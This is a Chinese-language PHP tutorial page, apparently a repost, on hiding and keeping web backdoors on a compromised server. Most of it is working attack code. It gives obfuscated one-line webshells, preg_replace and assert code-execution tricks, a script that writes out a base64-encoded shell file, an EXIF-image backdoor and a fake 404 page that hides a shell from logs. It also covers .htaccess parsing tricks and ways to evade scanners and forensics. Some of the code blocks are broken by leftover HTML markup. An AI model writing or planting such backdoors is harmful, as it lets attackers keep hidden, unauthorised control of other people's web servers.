当前位置:Gxlcms > PHP教程 > PHP后门隐藏与维持技巧_PHP

PHP后门隐藏与维持技巧_PHP

时间:2021-07-01 10:21:17 帮助过:1人阅读

0×00前言

在一个成功的测试后,通常会想让特权保持的更久些.留后门的工作就显得至关重要,通常布设的后门包括但不限于数据库权限,WEB权限,系统用户权限等等.此文则对大众后门隐藏的一些思路做科普.

PHP后门隐藏与维持技巧

以PHP-WEBBACKDOOR为例,抛砖引玉

一个最常见的一句话后门可能写作这样

 

eval($_POST['cmd']);?>

或这样

 

$_POST['cmd']);?>

当然,这仅是调用的函数不同,关于PHP禁用的函数请在php.ini: disable_functions 中寻找.

但是运维直观寻找我们shell的方式也有很多,如

◆通过文件名/修改时间/大小,文件备份比对发现异常

◆通过WEBSHELL后门扫描脚本发现,如Scanbackdoor.php/Pecker/shelldetect.php以及各种扫描器等等

◆通过Access.log访问日志发现后门所在

◆又或者,我们的测试一句话还要被WAF拦一下,再来个警告日志,等等

针对常见的检测方式,总结以下七常用手法对shell进行隐藏

0×01规避

看看各种扫描后门的代码就知道,留一个众人皆知,人人喊打的关键词在shell中是万万不能的

PHP后门隐藏与维持技巧

常见的关键词如:

◆系统命令执行: system, passthru, shell_exec, exec, popen, proc_open

◆代码执行: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

◆文件包含: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

过去有朋友机智的使用$_POST[0]($_POST[1])来执行命令,可惜现在也难逃扫描器法眼,但万象变化,构造方法是无穷的

tudouya 同学在FREEBUF上给出[一种构造技巧](http://www.freebuf.com/articles/web/33824.html)利用

 

?

1

2

3

4

5

6

7

8

9

1.

2.@$_++; // $_ = 1

3.$__=("#"^"|"); // $__ = _

4.$__.=("."^"~"); // _P

5.$__.=("/"^"`"); // _PO

6.$__.=("|"^"/"); // _POS

7.$__.=("{"^"/"); // _POST

8.${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);

9.?>

构造生成,当然,嫌太直观可以写作这样

 

$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

然后再填充些普通代码进行伪装,一个简单的”免杀”shell样本就出现了

PHP后门隐藏与维持技巧

执行无误,且绕过普通扫描器,也可依赖之写新的临时shell

PHP后门隐藏与维持技巧

0×02特性

借助语法特性执行命令亦不失为有趣的手法.借用php在处理变量时的语法特性,会分析双引号中的数据是否含有变量(并解析其值)

eg.:

 

${@eval(phpinfo())}

{}可解析双引号内的变量内容,@保持出错后继续执行

然后就可以大摇大摆的开始构造隐藏后门了,但此处构造欲再借力于函数引起的命令执行,没错,就是preg_replace

 

"//e",$_POST['cmd'],"");?>

这玩法显然已经进了扫描器黑名单,简单修改下

?

1

2

3

4

1.

2.function funfunc($str){}

3.echo preg_replace("/(.+?)<\/title>/ies"</code><code class="java plain">, </code><code class="java string">'funfunc("\1")'</code><code class="java plain">, $_POST[</code><code class="java string">"cmd"</code><code class="java plain">]); </code></font></p> <p class="line number4 index3 alt1"><font face="NSimsun"><code class="java value">4</code><code class="java plain">.?></code></font></p> </p> </td> </tr> </tbody> </table> </p> </p> <p>执行了,没有被发现</p> <p style="TEXT-ALIGN: center"><img class="fit-image" style="HEIGHT: 184px; WIDTH: 300px" border="0" alt="PHP后门隐藏与维持技巧" src="http://img.bitscn.com/upimg/allimg/140707/1532515G4-4.png" width="300" height="184" /></p> <p>执行的方式显而易见,正则匹配后的{${phpinfo()}}传入funfunc时引起了代码执行</p> <pre class="brush:php;toolbar:false"> </pre> <p class="alt"><span><span>funfunc(</span><span class="string">"{${phpinfo()}}"</span><span>) </span></span></p> <p>另一种方法</p> <pre class="brush:php;toolbar:false"> </pre> <p class="alt"><span><span><?php @assert(</span><span class="string">"\$arr=\""</span><span>.</span><span class="vars">$_GET</span><span>[</span><span class="string">'cmd'</span><span>].</span><span class="string">"\";"</span><span>);?> </span></span></p> <p style="TEXT-ALIGN: center"><img class="fit-image" style="HEIGHT: 145px; WIDTH: 300px" border="0" alt="PHP后门隐藏与维持技巧" src="http://img.bitscn.com/upimg/allimg/140707/1532511320-5.png" width="300" height="145" /></p> <p><strong>0×03包含</strong></p> <p>文件包含是众人都玩过的方法,只是包含也有技巧</p> <p>普通文件包含可能仅仅是一个include包含某个txt或jpg,甚至直接留一个包含漏洞,但扫描器也容易发现,多出的包含文件也易被发现</p> <p>看此脚本</p> <pre class="brush:php;toolbar:false"> </pre> <p class="alt"> <p> <p id="highlighter_214907" class="syntaxhighlighter java"> <p class="toolbar"><span>?</span></p> <table cellspacing="0" cellpadding="0" border="0"> <tbody> <tr> <td class="gutter"> <p class="line number1 index0 alt2">1</p> <p class="line number2 index1 alt1">2</p> <p class="line number3 index2 alt2">3</p> <p class="line number4 index3 alt1">4</p> <p class="line number5 index4 alt2">5</p> <p class="line number6 index5 alt1">6</p> <p class="line number7 index6 alt2">7</p> <p class="line number8 index7 alt1">8</p> <p class="line number9 index8 alt2">9</p> </td> <td class="code"> <p class="container"> <p class="line number1 index0 alt2"><font face="NSimsun"><code class="java value">1</code><code class="java plain">.<?php </code></font></p> <p class="line number2 index1 alt1"><font face="NSimsun"><code class="java value">2</code><code class="java plain">. </code><code class="java keyword">if</code><code class="java plain">(</code><code class="java color1">@isset</code><code class="java plain">($_GET[content])) </code></font></p> <p class="line number3 index2 alt2"><font face="NSimsun"><code class="java value">3</code><code class="java plain">. { </code></font></p> <p class="line number4 index3 alt1"><font face="NSimsun"><code class="java value">4</code><code class="java plain">. $fp=fopen(</code><code class="java string">'README'</code><code class="java plain">,</code><code class="java string">'w'</code><code class="java plain">); </code></font></p> <p class="line number5 index4 alt2"><font face="NSimsun"><code class="java value">5</code><code class="java plain">. file_put_contents(</code><code class="java string">'README'</code><code class="java plain">,</code><code class="java string">"<?php\r\n"</code><code class="java plain">); </code></font></p> <p class="line number6 index5 alt1"><font face="NSimsun"><code class="java value">6</code><code class="java plain">. </code><code class="java color1">@file_put_contents</code><code class="java plain">(</code><code class="java string">'README'</code><code class="java plain">,$_GET[content],FILE_APPEND); </code></font></p> <p class="line number7 index6 alt2"><font face="NSimsun"><code class="java value">7</code><code class="java plain">. fclose($fp); </code></font></p> <p class="line number8 index7 alt1"><font face="NSimsun"><code class="java value">8</code><code class="java plain">. require </code><code class="java string">'README'</code><code class="java plain">;} </code></font></p> <p class="line number9 index8 alt2"><font face="NSimsun"><code class="java value">9</code><code class="java plain">.?></code></font></p> </p> </td> </tr> </tbody> </table> </p> </p> </p> <p>算是解决了一点问题,需求的shell可随用随生成,进而包含之</p> <p style="TEXT-ALIGN: center"><img class="fit-image" style="HEIGHT: 138px; WIDTH: 300px" border="0" alt="PHP后门隐藏与维持技巧" src="http://img.bitscn.com/upimg/allimg/140707/153251DU-6.png" width="300" height="138" /></p> <p>可惜由于file_put_contents等函数过于敏感,也是很容易被扫描发现</p> <p>编码生成的方式创建shell,随访问而生成.</p> <pre class="brush:php;toolbar:false"> </pre> <p class="alt"><span><span><?php @</span><span class="func">fputs</span><span>(</span><span class="func">fopen</span><span>(</span><span class="func">base64_decode</span><span>(</span><span class="string">'cGx1Z2luX20ucGhw'</span><span>),w),</span><span class="func">base64_decode</span><span>(</span><span class="string">'PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='</span><span>)); </span></span></p> <p><span>?> </span> </p> <p>可以逃避一些扫描器,但这个模式也比较引人注目,生成的新文件也要做简单的隐藏以躲过查杀.</p> <p>当然对于启发式之类的新概念就不考虑了</p> <p>在这种方式也满足不了需求的情况下,机智的攻击者又重拾图片</p> <pre class="brush:php;toolbar:false"> </pre> <p class="alt"><span><span><?php </span><span class="vars">$exif</span><span>=exif_read_data(</span><span class="string">'./lol.jpg'</span><span>);preg_replace(</span><span class="vars">$exif</span><span>[</span><span class="string">'Make'</span><span>],</span><span class="vars">$exif</span><span>[</span><span class="string">'Model'</span><span>],</span><span class="string">''</span><span>);?> </span></span></p> <p>参考:一种隐藏在JPG图片EXIF中的后门</p> <p>这次不必再简单的copy /b生成图片马了,借用preg_replace执行文件的特定标志一样可行</p> <p style="TEXT-ALIGN: center"><img class="fit-image" style="HEIGHT: 65px; WIDTH: 300px" border="0" alt="PHP后门隐藏与维持技巧" src="http://img.bitscn.com/upimg/allimg/140707/1532511332-7.png" width="300" height="65" /></p> <p>此处可能会提示 Call to undefined function exif_read_data()</p> <p>需要修改php.ini, extension=php_exif.dll</p> <p>将其加载顺序改为extension=php_mbstring.dll的后面</p> <p style="TEXT-ALIGN: center"><img class="fit-image" style="HEIGHT: 160px; WIDTH: 300px" border="0" alt="PHP后门隐藏与维持技巧" src="http://img.bitscn.com/upimg/allimg/140707/1532512449-8.png" width="300" height="160" /></p> <p>可以看出,此图片后门借助了preg_replace \e参数,依赖了php的变量解析执行,又使用了base64编码,最后依赖文件标识将一个完整的shell拼合,算是给初涉后门隐藏的童鞋一个小提醒</p> <p>当然,只要有包含点,包含文件的形式是多样的,甚至于包含error_log(虽然可能要考虑闭合),只有想不到…</p> <p><strong>0×04隐匿</strong></p> <p>为了不让访问者发现后门的存在,机智的安全研究员也会混淆视听故弄玄虚</p> <pre class="brush:php;toolbar:false"> </pre> <p class="alt"> <p> <p id="highlighter_465994" class="syntaxhighlighter java"> <p class="toolbar"><span>?</span></p> <table cellspacing="0" cellpadding="0" border="0"> <tbody> <tr> <td class="gutter"> <p class="line number1 index0 alt2">1</p> <p class="line number2 index1 alt1">2</p> <p class="line number3 index2 alt2">3</p> <p class="line number4 index3 alt1">4</p> <p class="line number5 index4 alt2">5</p> <p class="line number6 index5 alt1">6</p> <p class="line number7 index6 alt2">7</p> <p class="line number8 index7 alt1">8</p> <p class="line number9 index8 alt2">9</p> <p class="line number10 index9 alt1">10</p> <p class="line number11 index10 alt2">11</p> </td> <td class="code"> <p class="container"> <p class="line number1 index0 alt2"><font face="NSimsun"><code class="java value">1</code><code class="java plain">.<!DOCTYPE HTML PUBLIC </code><code class="java string">"-//IETF//DTD HTML 2.0//EN"</code><code class="java plain">> </code></font></p> <p class="line number2 index1 alt1"><font face="NSimsun"><code class="java value">2</code><code class="java plain">. <head> </code></font></p> <p class="line number3 index2 alt2"><font face="NSimsun"><code class="java value">3</code><code class="java plain">. <title></code><code class="java value">404</code></font> <code class="java plain"><font face="NSimsun">Not Found

1.

2.

Not Found

3.

The requested URL was not found on this server.

4.

5.

6.

7. @preg_replace("/[checksql]/e",$_POST['cmd'],"saft");

8.?>

借助上面的html渲染后,浏览页面已经开始伪装404以迷惑视听了

但躲得过访问者也躲不过日志分析,为更好的隐藏在大量日志中,构造如下脚本

 

?

1

2

3

4

5

6

1.

2. header('HTTP/1.1 404');

3. ob_start();

4. @fputs(fopen(base64_decode('cGx1Z2luX20ucGhw'),w),base64_decode('PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/Pg=='));

5. ob_end_clean();

6.?>

访问之,是真正的404,没错,日志中也是这样

PHP后门隐藏与维持技巧

但此刻当前目录已生成我们要连接的脚本

0×05混淆

用过weevely工具的童鞋应该知道,其生成的免杀shell像这样

 

?

1

2

3

4

5

6

7

8

9

10

1.

2. $penh="sIGpvaW4oYXJyYgiXlfc2xpY2UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY2hvICc8LycgiuJgiGsugiJz4nO30=";

3. $kthe="JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";

4. $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe");

5. $wmmi="X3JlcgiGxhY2UgioYXgiJyYXkoJy9bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk";

6. $zrmt="JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo";

7. $smgv = $ftdf("f", "", "bfafsfef6f4_fdfefcodfe");

8. $jgfi = $ftdf("l","","lclrlelaltel_functlilon");

9. $rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();

10.?>

终端下连接后像这样

PHP后门隐藏与维持技巧

Ps:截图忘记修改终端编码了:(

其免杀方式在于,在固定区域生成随机名称变量,后借助str_replace拼合base64_decode,执行命令的过程

当然,这是在代码层面混淆视听以躲过扫描器

更常用的混淆视听的方法:

◆修改文件时间

◆改名融入上传后所在文件夹,让人无法直观看出文件异常

◆文件大小的伪装处理(至少看起大小像个正常脚本)

◆选好藏身路径并尽量少的访问

◆畸形目录%20

关于空格目录,还是相对容易被发现的

PHP后门隐藏与维持技巧

0×06解析

利用.htaccess,添加解析后门

PHP后门隐藏与维持技巧

如:

 
  1. AddType application/x-httpd-php .jpg

PHP后门隐藏与维持技巧

以上以weeverly为例

0×07杂糅

总结以上方法,大部分无非是一个构造漏洞的过程,漏洞构造的代码能有多奇葩,后门就可以多奇葩.可以写纤细婉约的,也可以搞简单粗暴的,只是适用场合不同而已.如能很好的融合思路,构造自己的隐藏shell想来亦非难事.以上仅为总结经验之谈,各位有有趣的想法还望不吝赐教

人气教程排行